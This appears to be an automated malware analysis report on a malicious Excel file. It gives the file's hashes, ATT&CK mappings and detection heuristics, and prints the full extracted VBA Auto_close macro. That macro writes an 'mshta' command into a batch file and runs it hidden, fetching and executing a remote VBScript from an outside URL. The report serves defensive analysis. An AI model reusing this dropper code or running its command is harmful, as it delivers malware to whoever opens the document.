Office (OOXML) malware analysis — malicious · 920f96788d41ba9a

MALICIOUS

Office (OOXML)

13.4 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-10-24

MD5: 90b0b5a51f143a5bd4efe22d767dcf1a SHA-1: 1342cb0a36ac8371a9646dbcf9c3b47234002a7e SHA-256: 920f96788d41ba9a43556dfd4cbc1ba9b452dffce5a5b962107d3ffdcd5c7fed

190 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1218.011 System Binary Proxy Execution: Rundll32 T1059.003 Windows Command Shell

The sample is an Excel document containing a VBA macro that executes the Auto_close subroutine. This subroutine constructs a command to download and execute a VBScript payload from the URL "mshta https://dropmb.com/files/cdf12c0670fa3ed12ce20dd7608bfe62.vbs`" via a batch file named "78.bat". This indicates a downloader or dropper functionality, aiming to fetch and run a secondary malicious payload.

Heuristics 6

VBA project inside OOXML medium 4 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
Potential Shell call in VBA critical OLE_VBA_SHELL

Potential Shell call in VBA
Matched line in script
```
    Close #1
    i = Shell(batch, 0)
```

LOLBin reference in VBA critical OLE_VBA_LOLBIN

LOLBin reference in VBA

Matched line in script

Dim s As String
s = " mshta https://dropmb.com/files/cdf12c0670fa3ed12ce20dd7608bfe62.vbs`"
ActiveWorkbook.Save

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Auto_Close macro low OLE_VBA_AUTOCLOSE

Auto_Close macro
Matched line in script
```
Attribute VB_Name = "Module1"
 Sub Auto_close()
On Error Resume Next
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL https://dropmb.com/files/cdf12c0670fa3ed12ce20dd7608bfe62.vbs` In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	990 bytes
SHA-256: `7d307bacf1bef18fac2c861a2fc00a2fdc167f6acf4c36fd2a2c44c6d2629d9a`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Workbook______________" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Worksheet______1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module1" Sub Auto_close() On Error Resume Next Dim i As Double Dim batch As String Dim call1 As String Dim s As String s = " mshta https://dropmb.com/files/cdf12c0670fa3ed12ce20dd7608bfe62.vbs`" ActiveWorkbook.Save batch = "78.bat" Open batch For Output As #1 Print #1, s Close #1 i = Shell(batch, 0) End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	17408 bytes
SHA-256: `7af2f7ec704088cc153f636e279a0b54afdd00fa585b89957389658f021da63d`

Open this report in the interactive analyzer, or submit your own file for analysis.